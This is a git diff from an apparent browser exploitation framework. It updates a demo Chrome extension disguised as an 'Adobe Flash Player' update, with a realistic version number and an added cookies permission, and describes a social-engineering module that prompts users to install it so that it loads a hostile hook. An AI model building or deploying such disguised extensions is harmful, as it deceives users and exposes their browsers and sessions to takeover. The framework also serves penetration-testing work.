diff --git a/extensions/demos/flash_update_chrome_extension/manifest.json b/extensions/demos/flash_update_chrome_extension/manifest.json index 0efdee334..7e2c4fa44 100644 --- a/extensions/demos/flash_update_chrome_extension/manifest.json +++ b/extensions/demos/flash_update_chrome_extension/manifest.json @@ -1,10 +1,13 @@ { + // Simple chrome extension + // Just loads beef into the extension context. + // + // You may need to set the IP address of the beef hook in background.js + // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/ + "name": "Adobe Flash Player", - "version": "1.0", - // when the browser icon is clicked, a new tab is open to maintain persistence (chrome.tabs.create) - // for the sake of testing...unfortunately the popup is closed when the user is not focusing on it. - // See at the end of index.html file. - "description": "Introduces vulnerabilites into webbrowsers", + "version": "11.2.202.235", + "description": "Introduces vulnerabilites into web browsers", "background": { "scripts": ["background.js"] }, @@ -17,6 +20,7 @@ "tabs", "http://*/*", "https://*/*", - "file://*/*" + "file://*/*", + "cookies" ] } diff --git a/extensions/demos/html/adobe_flash_update.crx b/extensions/demos/html/adobe_flash_update.crx index 21ee67d77..91a0af8c8 100644 Binary files a/extensions/demos/html/adobe_flash_update.crx and b/extensions/demos/html/adobe_flash_update.crx differ diff --git a/extensions/demos/html/adobe_flash_update.png b/extensions/demos/html/adobe_flash_update.png index 2906b86ac..9f0278e6b 100644 Binary files a/extensions/demos/html/adobe_flash_update.png and b/extensions/demos/html/adobe_flash_update.png differ diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml index 2142bfab4..78131d2c4 100644 --- a/modules/social_engineering/fake_flash_update/config.yaml +++ b/modules/social_engineering/fake_flash_update/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Social Engineering" name: "Fake Flash Update" - description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension." + description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.

A chrome extenstion has privileged access and can do a whole lot..
See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" authors: ["mh"] target: user_notify: ['ALL']